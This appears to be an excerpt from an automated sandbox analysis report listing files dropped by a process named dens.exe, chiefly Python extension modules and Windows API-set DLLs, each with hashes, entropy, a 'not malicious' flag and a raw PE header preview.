Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......../...Nb}.Nb}.Nb}.6.}.Nb}g.c\|.Nb}g.a\|.Nb}g.f\|.Nb}g.g\|.Nb}..c\|.Nb}.Nc}.Nb}.6c\|.Nb}..o\|.Nb}..b\|.Nb}..}.Nb}..`\|.Nb}Rich.Nb}................PE..d....b.f.........." ...(.x..........0-.......................................`............`.........................................@...P............@.......0.........../...P......P...T...............................@............................................text....v.......x.................. ..`.rdata...x.......z...\|..............@..@.data...............................@....pdata.......0......................@..@.rsrc........@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\_sqlite3.pyd

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	125208
Entropy (8bit):	6.262455715174875
Encrypted:	false
SSDEEP:	3072:6WdTrLGXVx7Qt+HEGFCO4w5yirrPrrrrrrbEOyfgv/pWwb8NIMOQI3:zAVxMt7pC5TrWgHos8e
MD5:	64417C2CCD84392880B417E8A9F7A4BC
SHA1:	88C6139471737B14D4161C010B10AD9615766DBB
SHA-256:	FDEACC2AFF71FE21D7A0DE0603388299FA203C2692FDBDB3709F1BC4CC9CDC0E
SHA-512:	05163D678F18EA901C5DA45F41EE25073B7834E711C2809F98DF122E6485B3979C5331709A6F48079A53931D3DBC3B569738B51736260CE1B67811C073C7EA84
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........M..#..#..#.....#..1"..#..1..#..1 ..#..1'...#..1&..#..6"..#..."..#.."..#..6....#..6#..#..6..#..6!..#.Rich.#.........................PE..d....b.f.........." ...(.................................................................`.........................................@o..P....o..................D......../.......... ...T...............................@............................................text...X........................... ..`.rdata..b...........................@..@.data................~..............@....pdata..D...........................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\_ssl.pyd

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	178456
Entropy (8bit):	5.975111032322451
Encrypted:	false
SSDEEP:	3072:9EkiCZfBmvD1ZLnM2YfW6XSvWJLX2GvMf1ba+VRJNI7IM/H9o/PCrXuI3JVIMC7g:riC5QD1dwW6XSOMfjTwJH
MD5:	90F080C53A2B7E23A5EFD5FD3806F352
SHA1:	E3B339533BC906688B4D885BDC29626FBB9DF2FE
SHA-256:	FA5E6FE9545F83704F78316E27446A0026FBEBB9C0C3C63FAED73A12D89784D4
SHA-512:	4B9B8899052C1E34675985088D39FE7C95BFD1BBCE6FD5CBAC8B1E61EDA2FBB253EEF21F8A5362EA624E8B1696F1E46C366835025AABCB7AA66C1E6709AAB58A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......\|..j8.98.98.91.09>.9._.8:.9._.8;.9._.80.9._.85.9-X.8>.98.9..9s..8?.9-X.8:.9-X.89.9-X\99.9-X.89.9Rich8.9........................PE..d....b.f.........." ...(.............,....................................................`.............................................d...D...................P......../......x.......T...........................@...@............................................text............................... ..`.rdata...#.......$..................@..@.data...p...........................@....pdata..P............b..............@..@.rsrc................n..............@..@.reloc..x............x..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\_uuid.pyd

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	25880
Entropy (8bit):	6.592919849955951
Encrypted:	false
SSDEEP:	384:maxIcRiAWVIMZwbTHQIYiSy1pCQm9Y+pAM+o/8E9VF0Ny7yYV:ScR3WVIMZwn5YiSyvXMAMxkE8YV
MD5:	D8C6D60EA44694015BA6123FF75BD38D
SHA1:	813DEB632F3F3747FE39C5B8EF67BADA91184F62
SHA-256:	8AE23BFA84CE64C3240C61BEDB06172BFD76BE2AD30788D4499CB24047FCE09F
SHA-512:	D3D408C79E291ED56CA3135B5043E555E53B70DFF45964C8C8D7FFA92B27C6CDEA1E717087B79159181F1258F9613FE6D05E3867D9C944F43A980B5BF27A75AB
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........p.n.#.n.#.n.#..Y#.n.#...".n.#...".n.#...".n.#...".n.#...".n.#...".n.#.n.#.n.#...".n.#...".n.#..5#.n.#...".n.#Rich.n.#................PE..d...db.f.........." ...(.....&......................................................ru....`.........................................p9..L....9..x....`.......P.......6.../...p..@...`3..T........................... 2..@............0..8............................text...h........................... ..`.rdata.......0......................@..@.data...`....@.......&..............@....pdata.......P.......(..............@..@.rsrc........`.......*..............@..@.reloc..@....p.......4..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\_wmi.pyd

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	37656
Entropy (8bit):	6.340152202881265
Encrypted:	false
SSDEEP:	768:rUmqQhTcYr6NxO0VIMCit5YiSyv4YmAJAMxkEn:Im7GBNxO0VIMCiz7SyQYmQxz
MD5:	827615EEE937880862E2F26548B91E83
SHA1:	186346B816A9DE1BA69E51042FAF36F47D768B6C
SHA-256:	73B7EE3156EF63D6EB7DF9900EF3D200A276DF61A70D08BD96F5906C39A3AC32
SHA-512:	45114CAF2B4A7678E6B1E64D84B118FB3437232B4C0ADD345DDB6FBDA87CEBD7B5ADAD11899BDCD95DDFE83FDC3944A93674CA3D1B5F643A2963FBE709E44FB8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........k.L...L...L...E..J.......H.......H.......D...Y...N.......Q.......K...L...........M...Y...M...Y...M...Y...M...Y...M...RichL...........PE..d...db.f.........." ...(....<.......(...................................................`..........................................V..H...HV..................x....d.../......t...dG..T............................C..@............@.......S..@....................text...n(......................... ..`.rdata..4 ...@..."..................@..@.data........p.......P..............@....pdata..x............T..............@..@.rsrc................X..............@..@.reloc..t............b..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\aiohttp\_helpers.cp312-win_amd64.pyd

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	55808
Entropy (8bit):	5.783964462250878
Encrypted:	false
SSDEEP:	768:/E+b3eOn7SZcnlhHHNpfR7Qbem8aaZxyCQEwNYUxq71Fp0866it:/3b3eOdHHbf5Q6mCQFNYTQ866it
MD5:	7229278B22B09E6A529DDB47005277B5
SHA1:	A19B7F423E758507EB1DE8168099A63A4460E328
SHA-256:	EE325848CF143DF67C63153BBAFD9E72E33F0B57E025079875A2A7B0CB919792
SHA-512:	BEEE7B5652A143383E91ADB3583D7EC8C43152C482A513F760EAAB949CE6AC78D8FFA3848A50DC53438BFAEFA6172B008FCA0B9997CFB31F4395D01F523D35FF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........7.Z.V...V...V....4..V..%...V.......V..%...V..%...V..%...V......V...V..OV......V......V....X..V......V..Rich.V..........PE..d......f.........." ...(.....V...............................................0............`.........................................0...`.......d............................ .........................................@............................................text...8........................... ..`.rdata..,7.......8..................@..@.data...h...........................@....pdata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\aiohttp\_http_parser.cp312-win_amd64.pyd

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	265216
Entropy (8bit):	6.191152939315957
Encrypted:	false
SSDEEP:	6144:DV3x6M84atBFS7PFhzBr9tYPpYWEp1+t8RfFP:DV3zsK7tpeWWEp1+t8h
MD5:	8E4CDED9429EC06C8F681EA0AFA3BB93
SHA1:	5EA5F8525FF4B49CB68712BBC94B9CEF0D1E5784
SHA-256:	CF70C494EC7087114A84412B8BD4E9EE7F60A2716DF8D73252BF56B24A72FD9E
SHA-512:	1B4B0C2F7785F6294441663B319FE2F0A5D5AAE582552E4E7DD90E68DC6DA430C53EB12A413A26A652D7BA79F4761436AD26D7CFC202E17BF99678AD0FC73E52
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........p=...SY..SY..SY.i.Y..SYS.RX..SY.iRX..SY..RX..SY..RY{.SYS.PX..SYS.WX..SYS.VX..SY..[X..SY..SX..SY...Y..SY..QX..SYRich..SY................PE..d......f.........." ...(.,...........-....................................................`.................................................t...x....`.......@...............p..\...P...................................@............@...............................text...H*.......,.................. ..`.rdata..J....@.......0..............@..@.data....@..........................@....pdata.......@......................@..@.rsrc........`......................@..@.reloc..\....p......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\aiohttp\_http_writer.cp312-win_amd64.pyd

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	50176
Entropy (8bit):	5.798799669841864
Encrypted:	false
SSDEEP:	768:DNfYLojawVodMUvJai7e0qO0QlySYkbwlh2BN/zfrXW0XwgJYd:DIEawVzUBanpO0QnXN7frXW43JYd
MD5:	E37DE249124DAF6FD5164B7CFB8B7FE1
SHA1:	521EC4C8AADD4981A4A46ADB2BF50877289AF854
SHA-256:	8A13B94B85D917D25CB8A6EA5D99CC82A39E9DD1618CB71E6A9219AADB76C5C3
SHA-512:	06FC956E04BA01CEF1FD3F3EE891F20975FDCAAA3E9B40BFA35D431AA1FB356E344B8BCCC9991010D12C3E5C355FF72AA782A31C309DD1F04AC9680DBD750BF5
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........7.T.V...V...V....4..V..-...V.......V..-...V..-...V..-...V......V...V..}V......V......V....X..V......V..Rich.V..........................PE..d.../..f.........." ...(.\|..........@~.......................................P............`.............................................h...h...d....0....... ...............@......................................@...@...............P............................text....z.......\|.................. ..`.rdata..R0.......2..................@..@.data....N..........................@....pdata....... ......................@..@.rsrc........0......................@..@.reloc.......@......................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\aiohttp\_websocket.cp312-win_amd64.pyd

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	37376
Entropy (8bit):	5.661337019469485
Encrypted:	false
SSDEEP:	768:hrfL0VnUOhYKe/XgWr/r8XkyjcX0JKHQr4:VEUOJePxr/2k5HQr4
MD5:	D0965116CBF816EC3DC7F960F47A63BA
SHA1:	96AB646981FB9C902DF80044BDAA7990D8362CD9
SHA-256:	6C9338D5FE59ED8721209FD58C6CAF7EB38F8695F1448914664E63E489D63958
SHA-512:	96E6171159CC21D19C43C50C5B8C1D1410E152055F333DA988FC854901BA9B06F91C6BBE9E528D63E5CC3C2AAB19890C6DF48178BD63477EDC0C6A826865DA7F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........7.Z.V...V...V....4..V..%...V.......V..%...V..%...V..%...V......V...V..oV......V......V....X..V......V..Rich.V..........PE..d...+..f.........." ...(.P...D...... S....................................................`..........................................{..d....\|..d...................................Ps...............................r..@............`...............................text...xO.......P.................. ..`.rdata...*...`...,...T..............@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-console-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22112
Entropy (8bit):	4.744270711412692
Encrypted:	false
SSDEEP:	192:zFOhcWqhWpvWEXCVWQ4iWwklRxwVIX01k9z3AROVaz4ILS:zFlWqhWpk6R9zeU0J2
MD5:	E8B9D74BFD1F6D1CC1D99B24F44DA796
SHA1:	A312CFC6A7ED7BF1B786E5B3FD842A7EEB683452
SHA-256:	B1B3FD40AB437A43C8DB4994CCFFC7F88000CC8BB6E34A2BCBFF8E2464930C59
SHA-512:	B74D9B12B69DB81A96FC5A001FD88C1E62EE8299BA435E242C5CB2CE446740ED3D8A623E1924C2BC07BFD9AEF7B2577C9EC8264E53E5BE625F4379119BAFCC27
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d....dZ..........." .........0...............................................@............`A........................................p...,............0...............0..`&..............p............................................................................rdata..............................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-datetime-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22120
Entropy (8bit):	4.602255667966723
Encrypted:	false
SSDEEP:	192:NWqhWEWEXCVWQ4cRWvBQrVXC4dlgX01k9z3AUj7W6SxtR:NWqhWPlZVXC4deR9zVj7QR
MD5:	CFE0C1DFDE224EA5FED9BD5FF778A6E0
SHA1:	5150E7EDD1293E29D2E4D6BB68067374B8A07CE6
SHA-256:	0D0F80CBF476AF5B1C9FD3775E086ED0DFDB510CD0CC208EC1CCB04572396E3E
SHA-512:	B0E02E1F19CFA7DE3693D4D63E404BDB9D15527AC85A6D492DB1128BB695BFFD11BEC33D32F317A7615CB9A820CD14F9F8B182469D65AF2430FFCDBAD4BD7000
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d.....N7.........." .........0...............................................@............`A........................................p................0...............0..h&..............p............................................................................rdata..............................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-debug-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22120
Entropy (8bit):	4.606873381830854
Encrypted:	false
SSDEEP:	192:T0WqhWnWEXCVWQ4mW5ocADB6ZX01k9z3AkprGvV:T0WqhW8VcTR9zJpr4V
MD5:	33BBECE432F8DA57F17BF2E396EBAA58
SHA1:	890DF2DDDFDF3EECCC698312D32407F3E2EC7EB1
SHA-256:	7CF0944901F7F7E0D0B9AD62753FC2FE380461B1CCE8CDC7E9C9867C980E3B0E
SHA-512:	619B684E83546D97FC1D1BC7181AD09C083E880629726EE3AF138A9E4791A6DCF675A8DF65DC20EDBE6465B5F4EAC92A64265DF37E53A5F34F6BE93A5C2A7AE5
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d....IL..........." .........0...............................................@...........`A........................................p................0...............0..h&..............p............................................................................rdata..............................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-errorhandling-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22136
Entropy (8bit):	4.65169290018864
Encrypted:	false
SSDEEP:	192:qzmxD3T4qLWqhW2WJWadJCsVWQ4mW/xNVAv+cQ0GX01k9z3ARoanSwT44:qzQVWqhWTCsiNbZR9zQoUSwTJ
MD5:	EB0978A9213E7F6FDD63B2967F02D999
SHA1:	9833F4134F7AC4766991C918AECE900ACFBF969F
SHA-256:	AB25A1FE836FC68BCB199F1FE565C27D26AF0C390A38DA158E0D8815EFE1103E
SHA-512:	6F268148F959693EE213DB7D3DB136B8E3AD1F80267D8CBD7D5429C021ADACCC9C14424C09D527E181B9C9B5EA41765AFF568B9630E4EB83BFC532E56DFE5B63
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d................." .........0...............................................@............`A........................................p................0...............0..x&..............p............................................................................rdata..H...........................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-file-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	26216
Entropy (8bit):	4.866487428274293
Encrypted:	false
SSDEEP:	192:gaNYPvVX8rFTsCWqhWVWEXCVWQ4mWPJlBLrp0KBQfX01k9z3ALkBw:WPvVX8WqhWiyBRxB+R9z2kBw
MD5:	EFAD0EE0136532E8E8402770A64C71F9
SHA1:	CDA3774FE9781400792D8605869F4E6B08153E55
SHA-256:	3D2C55902385381869DB850B526261DDEB4628B83E690A32B67D2E0936B2C6ED
SHA-512:	69D25EDF0F4C8AC5D77CB5815DFB53EAC7F403DC8D11BFE336A545C19A19FFDE1031FA59019507D119E4570DA0D79B95351EAC697F46024B4E558A0FF6349852
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d....(............" .........@...............................................P......z.....`A........................................p................@...............@..h&..............p............................................................................rdata..\|........ ..................@..@.data........0......................@....rsrc........@.......0..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-file-l1-2-0.dll

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22136
Entropy (8bit):	4.619913450163593
Encrypted:	false
SSDEEP:	192:iDGaWqhWhWJWadJCsVWQ4mWd9afKUSIX01k9z3AEXzAU9:i6aWqhWACs92IR9z5EU9
MD5:	1C58526D681EFE507DEB8F1935C75487
SHA1:	0E6D328FAF3563F2AAE029BC5F2272FB7A742672
SHA-256:	EF13DCE8F71173315DFC64AB839B033AB19A968EE15230E9D4D2C9D558EFEEE2
SHA-512:	8EDB9A0022F417648E2ECE9E22C96E2727976332025C3E7D8F15BCF6D7D97E680D1BF008EB28E2E0BD57787DCBB71D38B2DEB995B8EDC35FA6852AB1D593F3D1
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d.....RS.........." .........0...............................................@......;.....`A........................................p...L............0...............0..x&..............p............................................................................rdata..............................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-file-l2-1-0.dll

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	18696
Entropy (8bit):	7.054510010549814
Encrypted:	false
SSDEEP:	384:eVrW1hWbvm0GftpBjzH4m3S9gTlUK3dsl:eVuAViaB/6sl
MD5:	BFFFA7117FD9B1622C66D949BAC3F1D7
SHA1:	402B7B8F8DCFD321B1D12FC85A1EE5137A5569B2
SHA-256:	1EA267A2E6284F17DD548C6F2285E19F7EDB15D6E737A55391140CE5CB95225E
SHA-512:	B319CC7B436B1BE165CDF6FFCAB8A87FE29DE78F7E0B14C8F562BE160481FB5483289BD5956FDC1D8660DA7A3F86D8EEDE35C6CC2B7C3D4C852DECF4B2DCDB7F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......3A..w e.w e.w e..De.v e..Da.u e..D..v e..Dg.v e.Richw e.........PE..d...4.F>.........." .........................................................0............`.........................................`................ ...................=..............T............................................................................rdata..............................@..@.rsrc........ ......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-handle-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22136
Entropy (8bit):	4.625331165566263
Encrypted:	false
SSDEEP:	192:qzWqhWxWJWadJCsVWQ4mW8RJLNVAv+cQ0GX01k9z3ARo8ef3uBJu:qzWqhWwCsjNbZR9zQoEzu
MD5:	E89CDCD4D95CDA04E4ABBA8193A5B492
SHA1:	5C0AEE81F32D7F9EC9F0650239EE58880C9B0337
SHA-256:	1A489E0606484BD71A0D9CB37A1DC6CA8437777B3D67BFC8C0075D0CC59E6238
SHA-512:	55D01E68C8C899E99A3C62C2C36D6BCB1A66FF6ECD2636D2D0157409A1F53A84CE5D6F0C703D5ED47F8E9E2D1C9D2D87CC52585EE624A23D92183062C999B97E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d....Hb..........." .........0...............................................@............`A........................................p...`............0...............0..x&..............p............................................................................rdata..............................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-heap-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22136
Entropy (8bit):	4.737397647066978
Encrypted:	false
SSDEEP:	192:OdxlZWqhWcWJWadJCsVWQ4mWlhtFyttuX01k9z3A2oD:OdxlZWqhWpCsctkSR9zfoD
MD5:	ACCC640D1B06FB8552FE02F823126FF5
SHA1:	82CCC763D62660BFA8B8A09E566120D469F6AB67
SHA-256:	332BA469AE84AA72EC8CCE2B33781DB1AB81A42ECE5863F7A3CB5A990059594F
SHA-512:	6382302FB7158FC9F2BE790811E5C459C5C441F8CAEE63DF1E09B203B8077A27E023C4C01957B252AC8AC288F8310BCEE5B4DCC1F7FC691458B90CDFAA36DCBE
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d....B.l.........." .........0...............................................@.......A....`A........................................p................0...............0..x&..............p............................................................................rdata..\|...........................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-interlocked-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22120
Entropy (8bit):	4.6569647133331316
Encrypted:	false
SSDEEP:	192:dwWqhWWWEXCVWQ4mWLnySfKUSIX01k9z3AEXz5SLaDa3:iWqhWJhY2IR9z5YLt3
MD5:	C6024CC04201312F7688A021D25B056D
SHA1:	48A1D01AE8BC90F889FB5F09C0D2A0602EE4B0FD
SHA-256:	8751D30DF554AF08EF42D2FAA0A71ABCF8C7D17CE9E9FF2EA68A4662603EC500
SHA-512:	D86C773416B332945ACBB95CBE90E16730EF8E16B7F3CCD459D7131485760C2F07E95951AEB47C1CF29DE76AFFEB1C21BDF6D8260845E32205FE8411ED5EFA47
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d...}.o..........." .........0...............................................@......v.....`A........................................p................0...............0..h&..............p............................................................................rdata..L...........................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-libraryloader-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22120
Entropy (8bit):	4.882042129450427
Encrypted:	false
SSDEEP:	192:9TvuBL3BBLAWqhWUWEXCVWQ4iWgdCLVx6RMySX01k9z3AzaXQ+BB:9TvuBL3BaWqhW/WSMR9zqaP
MD5:	1F2A00E72BC8FA2BD887BDB651ED6DE5
SHA1:	04D92E41CE002251CC09C297CF2B38C4263709EA
SHA-256:	9C8A08A7D40B6F697A21054770F1AFA9FFB197F90EF1EEE77C67751DF28B7142
SHA-512:	8CF72DF019F9FC9CD22FF77C37A563652BECEE0708FF5C6F1DA87317F41037909E64DCBDCC43E890C5777E6BCFA4035A27AFC1AEEB0F5DEBA878E3E9AEF7B02A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d.....g..........." .........0...............................................@............`A........................................p................0...............0..h&..............p............................................................................rdata..............................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-localization-l1-2-0.dll

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22120
Entropy (8bit):	5.355894399765837
Encrypted:	false
SSDEEP:	384:0naOMw3zdp3bwjGzue9/0jCRrndbnWqhW5lFydVXC4deR9zVj7xR:FOMwBprwjGzue9/0jCRrndbtGydVXC4O
MD5:	724223109E49CB01D61D63A8BE926B8F
SHA1:	072A4D01E01DBBAB7281D9BD3ADD76F9A3C8B23B
SHA-256:	4E975F618DF01A492AE433DFF0DD713774D47568E44C377CEEF9E5B34AAD1210
SHA-512:	19B0065B894DC66C30A602C9464F118E7F84D83010E74457D48E93AACA4422812B093B15247B24D5C398B42EF0319108700543D13F156067B169CCFB4D7B6B7C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d...0.&3.........." .........0...............................................@......L0....`A........................................p................0...............0..h&..............p............................................................................rdata..D...........................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-memory-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22120
Entropy (8bit):	4.771309314175772
Encrypted:	false
SSDEEP:	192:L0WqhWTWEXCVWQ4cRWdmjKDUX01k9z3AQyMX/7kn:L0WqhWol1pR9zzDY
MD5:	3C38AAC78B7CE7F94F4916372800E242
SHA1:	C793186BCF8FDB55A1B74568102B4E073F6971D6
SHA-256:	3F81A149BA3862776AF307D5C7FEEF978F258196F0A1BF909DA2D3F440FF954D
SHA-512:	C2746AA4342C6AFFFBD174819440E1BBF4371A7FED29738801C75B49E2F4F94FD6D013E002BAD2AADAFBC477171B8332C8C5579D624684EF1AFBFDE9384B8588
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d...`.@f.........." .........0...............................................@......K.....`A........................................p...l............0...............0..h&..............p............................................................................rdata..............................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-namedpipe-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22136
Entropy (8bit):	4.7115212149950185
Encrypted:	false
SSDEEP:	192:bWqhWUxWJWadJCsVWQ4mW5iFyttuX01k9z3A2EC:bWqhWUwCs8SR9zfEC
MD5:	321A3CA50E80795018D55A19BF799197
SHA1:	DF2D3C95FB4CBB298D255D342F204121D9D7EF7F
SHA-256:	5476DB3A4FECF532F96D48F9802C966FDEF98EC8D89978A79540CB4DB352C15F
